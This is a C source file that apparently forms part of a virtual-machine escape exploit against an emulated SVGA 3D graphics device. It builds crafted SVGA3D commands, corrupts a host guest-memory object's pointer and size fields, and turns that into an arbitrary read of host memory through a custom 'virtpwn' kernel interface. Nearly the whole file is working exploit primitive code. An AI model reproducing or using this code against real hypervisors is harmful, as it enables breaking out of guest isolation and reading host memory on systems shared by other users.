#include "read_primitives.h"
#include "common_primitives.h"
#include "write_primitives.h"
#include "defs.h"

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>


int buffer_copy(uint32_t surface_src, uint32_t surface_dst, uint32_t copy_size) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}
	
	SVGA3dCmdHeader header;
	header.id = 1209;
	header.size = sizeof(SVGA3dCmdDXUpdateSubResource);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDXBufferCopy *buffer_copy_cmd = (SVGA3dCmdDXBufferCopy*)ptr;
	buffer_copy_cmd->dest = surface_dst;
	buffer_copy_cmd->src = surface_src;
	buffer_copy_cmd->destX = 0;
	buffer_copy_cmd->srcX = 0;
	buffer_copy_cmd->width = copy_size;

	if (write(fd, cmd, total_size) == -1) {
		perror("[-] Error writing to device");
		close(fd);
		exit(1);
	}

	free(cmd);
	close(fd);
	return 0;

}

int readback_surface(uint32_t surface_id) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1183;
	header.size = sizeof(SVGA3dCmdDXReadbackSubresource);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;
	
	SVGA3dCmdDXReadbackSubresource *readback_cmd = (SVGA3dCmdDXReadbackSubresource*)ptr;
	readback_cmd->sid = surface_id;
	readback_cmd->subResource = 0;

	if (write(fd, cmd, total_size) == -1) {
		perror("[-] Error writing to device");
		close(fd);
		exit(1);
	}

	free(cmd);
	close(fd);
	return 0;

}

int read_from_transfer_buffer(struct exploit_context *ctx, uint8_t* buf, uint64_t size) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}
	struct vgapwn_copy copy_args;
	copy_args.size = size;
	copy_args.src_addr = ctx->virt_addr;
	copy_args.dst_addr = (uint64_t)buf;

	if (ioctl(fd, VGAPWN_RETRIEVE, &copy_args) < 0) {
		perror("vgapwn ioctl");
		printf("[-] failed to transfer data to buffer\n");
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

int trigger_arbitrary_read() {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1208;
	header.size = sizeof(SVGA3dCmdDXReadbackCOTable);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;
	
	SVGA3dCmdDXReadbackCOTable *readback_cmd = (SVGA3dCmdDXReadbackCOTable*)ptr;
	readback_cmd->cid = 0x42;
	readback_cmd->type = 0;

	if (write(fd, cmd, total_size) == -1) {
		perror("[-] Error writing to device");
		close(fd);
		exit(1);
	}

	free(cmd);
	close(fd);
	return 0;

}


int arbitrary_read(struct exploit_context* ctx, uint64_t addr, uint8_t *contents, uint32_t size) {
	ctx->corrupted_mob->Gbo.pvHost = (void*)addr;
	ctx->corrupted_mob->Gbo.fGboFlags = 0x2;
	ctx->corrupted_mob->Gbo.cbTotal = size;	
	int rc = corrupt_host_gmob(ctx);	
	if (rc != 0) 
		return -1;
	
	rc = trigger_arbitrary_read();
	if (rc != 0) 
		return -1;
	sleep(1);
	rc = read_from_transfer_buffer(ctx, contents, size);
	if (rc != 0) 
		return -1;
	return 0;
}

int read_corrupted_mob(struct exploit_context *ctx) {
		int rc = buffer_copy(ctx->groomed_surface, ctx->transfer_surface_id, ctx->corrupt_size);
		if (rc != 0) 
			return -1;

		rc = readback_surface(ctx->transfer_surface_id);
		if (rc != 0) 
			return -1;

		sleep(1);

		rc = read_from_transfer_buffer(ctx, ctx->corrupted_mob_buffer, ctx->corrupt_size);
		if (rc != 0) 
			return -1;
		return 0;
}
